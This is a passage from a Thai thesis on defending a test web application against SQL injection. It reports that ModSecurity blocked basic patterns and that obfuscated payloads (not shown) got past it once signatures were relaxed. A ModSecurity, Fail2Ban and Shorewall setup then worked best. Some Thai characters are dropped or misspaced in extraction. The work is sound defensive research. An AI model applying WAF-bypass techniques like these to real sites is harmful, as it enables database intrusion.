ภาพท่ี 4.9  แสดงการป้องกันค าสั่ง OR 
 

สามารถป้องกันการใช้ค าสั่ง ORDER BY ได้ 
 

 
 
สามารถป้องกันการใช้ค าสั่งที่เป็นรูปแบบอย่าง UNION SELECT ได้ ภาพท่ี 4.10  แสดงการป้องกันค าสั่ง ORDER BY 
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ภาพท่ี 4.11 แสดงการป้องกันค าสั่ง UNION SELECT 
 
 จากนั้นจึงได้ท าการทดลองปิด signature บางจุดในการป้องกันลงเนื่องจากในระบบ
ให้บริการจริงนั้นการเปิด signature เป็นจ านวนมากนั้นเป็นสาเหตุหลักที่ท าให้เว็บแอพพลิเคชั่นที่มี
อยู่เป็นจ านวนมาก ภายในเคร่ืองเซิร์ฟเวอร์นั้น ไม่สามารถท างานได้เพราะ signature บางจุดเองนั้น
ก็มองสิ่งที่ถูกต้องส าหรับการใช้งานเป็นสิ่งผิดปกติได้เช่นกัน 
 ซึ่งการทดสอบในล าดับถัดมานั้นได้ท าการโจมตี SQL Injection ด้วย Payload ที่ได้ท า
การ Optimization และ Obfuscation เพื่อหลบหลีกการตรวจจับและป้องกันของโปรแกรม Mod 
Security ซึ่งก็พบว่าสามารถที่จะโจมตีได้ส าเร็จ หากว่าพบวิธีการ Optimization และ Obfuscation ที่
ระบบนั้นๆ ละเลยหรือปล่อยผ่านไป แต่ส าหรับการเจาะระบบเว็บไซต์ที่จ าลองนี้นั้น ไม่สามารถ 
ใช้งานเทคนิค SQL Injection (Local Variable Method via HTTP Header) ได้ เนื่องจากไม่พบ
ข้อผิดพลาดในส่วนนี้ ตลอดจนความสามารถของโปรแกรม Mod Security นั้นสามารถตรวจจับ
รวมถึงป้องกันในส่วนของ HTTP Header ได้ ซึ่งในส่วนนี้ค่าคอนฟิกมาตรฐานมีการเปิดการท างาน
เอาไว้อยู่แล้ว 

 



85 

 
 

ภาพท่ี 4.12  แสดงการโจมตีที่ Bypass WAF 

 จากการทดลองด้านบนนั้นผู้วิจัยพบว่าแม้ระบบ Web Application Firewall จะสามารถ
ป้องกันการคุกคามจากการ SQL Injection ได้นั้น แต่การปฏิเสธการโจมตีโดยไม่ตอบสนองค่า
ข้อมูล แต่ตอบสนองในรูปแบบ Message หรือ HTTP Status ต่างๆ นั้นยังเป็นการเปิดโอกาสให้
ผู้วิจัยได้ทดลองเจาะระบบด้วย SQL Injection ด้วยการพยายามปรับเปลี่ยนรูปแบบการคุกคามไป
เร่ือยๆ จนประสบความส าเร็จ 
 ซึ่งการแก้ไขปัญหาช่องโหว่ดังกล่าวนี้ ล าดับถัดมานั้นผู้วิจัยได้เลือกท าการแก้ไข
โครงสร้างที่ให้บริการพื้นฐาน (Infrastructure)  ของเคร่ืองเซิร์ฟเวอร์ด้วยการติดตั้งโปรแกรมที่มีชื่อ
ว่า Shorewall ซึ่งโปรแกรมนี้มีหน้าที่ช่วยบริหารจัดการโปรแกรม Stateful Firewall อย่าง iptables 
ที่มีอยู่บนระบบปฏิบัติการแบบ Linux และติดตั้งโปรแกรมที่มีชื่อว่า Fail2Ban ซึ่งผู้วิจัยได้ท าการ
ออกแบบระบบให้มีการป้องกันเว็บเซิร์ฟเวอร์ให้ท างานร่วมกันกับ Stateful Firewall โดยให้
โปรแกรม Fail2Ban ท าหน้าที่เป็น Trigger ในการตรวจจับความถี่ของการคุกคามที่ไม่ประสบ
ความส าเร็จ และบอกให้ Stateful Firewall Drop Packet ทิ้ง 
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ภาพท่ี 4.13  แสดงโครงสร้างที่มี Web Application Firewall และ Stateful Firewall 
 
 จากนั้นจึงได้ท าการทดลองเจาะระบบอีกคร้ัง ซึ่งผลปรากฏว่า Web Application 
Firewall นั้นตรวจพบความพยายามที่จะโจมตีด้วย SQL Injection เข้ามานั้น โปรแกรม Fail2Ban 
ก็ท าการสร้าง Trigger ไปบอกโปรแกรม Shorewall เพื่อที่จะให้สร้าง rule ส าหรับระบุ IP ที่เป็น 
Blacklist บน Stateful Firewall 

 

 
 
ภาพท่ี 4.14  แสดงการตรวจจับการโจมตี SQL Injection 

 และเมื่อ Stateful Firewall ได้ท าการระบุ IP ที่เป็น Blacklist นั้นๆ ไว้แล้วก็จะส่งผลให้
การพยายามคุกคามไม่เป็นผลส าเร็จ ซึ่งสามารถที่จะก าหนดเวลาในการที่จะท าการ Ban IP ที่คุกคาม
ได้นั้นว่าจะให้ใช้เวลาน้อยหรือมากเท่าใด 
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ภาพท่ี 4.15 แสดงการท างานของ Stateful Firewall 
 

4.4  ผลการทดลองเปรียบเทียบประสิทธิภาพ 
 

 จากการทดลองเจาะระบบและหาแนวทางป้องกันนั้น สามารถสรุปออกมาได้ตาม
ตาราง 
 

ตารางท่ี 4.1 ตารางเปรียบเทียบผลส าเร็จการโจมตี SQL Injection 
 

ตารางเปรียบเทียบการโจมตี SQL Injection แล้วได้ผลส าเร็จ 

ล าดับการทดสอบ 
เจาะระบบ 

ประสิทธิภาพ 
ในการป้องกันการโจมตี 

ความง่าย-ยาก 
ในขั้นตอน 

การเจาะระบบ 

เวลาที่ใช้ 
การเจาะระบบ 

ไม่มีระบบป้องกัน ต่ ามาก ง่าย น้อย 
มี Web Application 
Firewall 

ปานกลาง ปานกลาง ปานกลาง 

มี Web Application 
Firewall และ Stateful 
Firewall 

สูง ยาก มาก 

 
 



บทที่ 5 
สรุปผลการศึกษา 

 
5.1  สรุปผลการศึกษา 
 จากผลการศึกษาพบวาการเจาะระบบดวยเทคนิค SQL Injection นั้น สามารถโจมตี
ระบบเว็บแอพพลิเคช่ันท่ีมีชองโหวประเภทนี้ และในสวนของผลการศึกษานี้นั้นพอสรุปได
ดังตอไปนี้ คือ ในการไมมีระบบปองกันใดๆ เลยนั้นถือเปนเร่ืองท่ีไมควรท่ีจะกระทําเปนอยางยิ่ง
และยังจะเห็นไดวามีความงายและใชเวลานอยเมื่อมีการโจมตีเขามาในระบบ และลําดับถัดมานั้น
หากมี Web Application Firewall เพียงอยางเดียวนั้น ระบบสามารถตองการโจมตีไดในระดับ 
ปานกลางก็จริง แตการที่ระบบปองกันไมพยายามท่ีจะประวิงเวลาหรือหยุดความพยายาม 
อยางตอเนื่องในการคุกคามระบบนั้น ผลกระทบที่อาจจะกับเกิดกับระบบท่ีใหบริการอยูนั้นอาจจะ
สงผลใหระบบไมสามารถใหบริการได และลําดับสุดทายการทําให Stateful Firewall และ Web 
Application Firewall สามารถท่ีจะทํางานรวมกันไดนั้น มีประสิทธิภาพดีท่ีสุด เนื่องจากสามารถ
หยุดความพยายามอยางตอเนื่องในการคุกคามระบบไดและยังสามารถประวิงเวลาในความพยายาม
ของการเจาะระบบไดสําเร็จมากท่ีสุด 
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